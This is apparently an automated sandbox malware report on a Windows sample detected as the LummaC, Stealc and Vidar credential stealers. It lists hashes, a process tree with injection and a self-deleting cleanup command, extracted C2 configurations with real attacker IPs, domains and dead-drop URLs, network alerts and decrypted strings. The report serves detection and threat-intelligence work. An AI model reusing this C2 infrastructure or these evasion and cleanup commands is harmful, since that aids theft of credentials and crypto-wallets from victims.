Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522636
MD5:	3c9241d0ce97c159d6cfaa49f602fafd
SHA1:	3a0320d338544496cb2ed6952d52e740c7f25d03
SHA256:	a73c4d134f180b9f4047f9be94f3f36b3a2e34469f8c90f70d964778efdc6adc
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3664 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3C9241D0CE97C159D6CFAA49F602FAFD)

conhost.exe (PID: 4440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3532 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

KECBKKEBKE.exe (PID: 2820 cmdline: "C:\ProgramData\KECBKKEBKE.exe" MD5: 32C2E31313C3DF4A7A36C72503A5BEBA)

conhost.exe (PID: 2436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3916 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2084 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

EGDGCGCFHI.exe (PID: 1224 cmdline: "C:\ProgramData\EGDGCGCFHI.exe" MD5: 38DABC7063C0A175A12C30BD44CF3DBC)

conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3620 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3784 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

DBGIJEHIID.exe (PID: 6720 cmdline: "C:\ProgramData\DBGIJEHIID.exe" MD5: 2832FBDE1CF7EA83BD6FD6A4A5E8FE15)

conhost.exe (PID: 1444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6244 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1916 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 3908 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGIEGHJEGHJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userGIEGHJEGHJ.exe (PID: 4820 cmdline: "C:\Users\userGIEGHJEGHJ.exe" MD5: 38DABC7063C0A175A12C30BD44CF3DBC)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 424 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 6984 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJEGDBGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userIJEGDBGDBF.exe (PID: 5684 cmdline: "C:\Users\userIJEGDBGDBF.exe" MD5: 32C2E31313C3DF4A7A36C72503A5BEBA)

conhost.exe (PID: 1088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6864 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 3460 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FIJKEHJJDAAK" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4576 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["delaylacedmn.site", "possiwreeste.site", "writekdmsnu.site", "agentyanlark.site", "underlinemdsj.site", "commandejorsk.site", "famikyjdiag.site", "bellykmrebk.site"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/jamsemlg"], "Botnet": "514d77849a01ff8ab7dd99d5f0a2e19e"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.2560292223.000000000440E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000001B.00000002.2762920375.000000000043A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000012.00000002.3023059126.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2576073985.00000000039C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 3664	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3664	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 3532	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3532	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 3532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3532	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 3784	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3784	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DBGIJEHIID.exe PID: 6720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 1916	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 1916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1916	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 424	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 424	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
27.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
11.2.EGDGCGCFHI.exe.43d5570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
15.2.DBGIJEHIID.exe.39c5570.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.DBGIJEHIID.exe.39c5570.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
18.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
18.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.3ce5570.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3ce5570.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.3ce5570.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3ce5570.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 9 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:40.233532+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49724	104.21.1.169	443	TCP
2024-09-30T13:59:42.740384+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49726	188.114.97.3	443	TCP
2024-09-30T13:59:57.534798+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49735	172.67.205.129	443	TCP
2024-09-30T13:59:58.480569+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49737	172.67.205.129	443	TCP
2024-09-30T13:59:59.458737+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49738	104.21.1.169	443	TCP
2024-09-30T14:00:01.818722+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49740	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:40.233532+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49724	104.21.1.169	443	TCP
2024-09-30T13:59:42.740384+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49726	188.114.97.3	443	TCP
2024-09-30T13:59:57.534798+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49735	172.67.205.129	443	TCP
2024-09-30T13:59:58.480569+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49737	172.67.205.129	443	TCP
2024-09-30T13:59:59.458737+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49738	104.21.1.169	443	TCP
2024-09-30T14:00:01.818722+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49740	188.114.97.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:44.257558+0200	2054495	1	A Network Trojan was detected	192.168.2.6	49728	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:43.781351+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49727	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:43.774251+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49727	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:43.959215+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49727	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:44.381205+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49727	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:20.764576+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49721	TCP
2024-09-30T13:59:43.966080+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49727	TCP
2024-09-30T13:59:59.332480+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49736	TCP
2024-09-30T14:00:08.883114+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49742	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:21.396013+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49721	TCP
2024-09-30T14:00:00.072879+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49736	TCP
2024-09-30T14:00:10.005613+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.6	49742	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:20.133065+0200	2049087	1	A Network Trojan was detected	192.168.2.6	49721	5.42.101.62	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:43.588058+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49727	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T13:59:38.219898+0200	2803304	3	Unknown Traffic	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:40.004459+0200	2803304	3	Unknown Traffic	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:41.458335+0200	2803304	3	Unknown Traffic	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:44.565490+0200	2803304	3	Unknown Traffic	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:47.787108+0200	2803304	3	Unknown Traffic	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:49.384989+0200	2803304	3	Unknown Traffic	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:50.009066+0200	2803304	3	Unknown Traffic	192.168.2.6	49730	46.8.231.109	80	TCP
2024-09-30T13:59:50.798148+0200	2803304	3	Unknown Traffic	192.168.2.6	49730	46.8.231.109	80	TCP
2024-09-30T13:59:51.426149+0200	2803304	3	Unknown Traffic	192.168.2.6	49732	46.8.231.109	80	TCP
2024-09-30T13:59:52.041566+0200	2803304	3	Unknown Traffic	192.168.2.6	49732	46.8.231.109	80	TCP
2024-09-30T13:59:54.102942+0200	2803304	3	Unknown Traffic	192.168.2.6	49733	147.45.44.104	80	TCP
2024-09-30T13:59:55.016532+0200	2803304	3	Unknown Traffic	192.168.2.6	49733	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/jamsemlg"], "Botnet": "514d77849a01ff8ab7dd99d5f0a2e19e"}
Source: 15.2.DBGIJEHIID.exe.39c5570.1.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["delaylacedmn.site", "possiwreeste.site", "writekdmsnu.site", "agentyanlark.site", "underlinemdsj.site", "commandejorsk.site", "famikyjdiag.site", "bellykmrebk.site"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: chaptermusu.store	Virustotal: Detection: 6%	Perma Link
Source: files.veritas.org.ng	Virustotal: Detection: 5%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Virustotal: Detection: 21%	Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.php=	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\DBGIJEHIID.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\EGDGCGCFHI.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\KECBKKEBKE.exe	ReversingLabs: Detection: 44%
Source: C:\Users\userGIEGHJEGHJ.exe	ReversingLabs: Detection: 44%
Source: C:\Users\userIJEGDBGDBF.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\KECBKKEBKE.exe	Joe Sandbox ML: detected
Source: C:\Users\userGIEGHJEGHJ.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\DBGIJEHIID.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2b049020f_ldnf[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\66fa2afc5abea_vasd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userIJEGDBGDBF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\EGDGCGCFHI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2afc5abea_vasd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2b049020f_ldnf[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: delaylacedmn.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: writekdmsnu.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: agentyanlark.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: bellykmrebk.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: underlinemdsj.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: commandejorsk.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: possiwreeste.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: famikyjdiag.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: possiwreeste.site
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 10.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
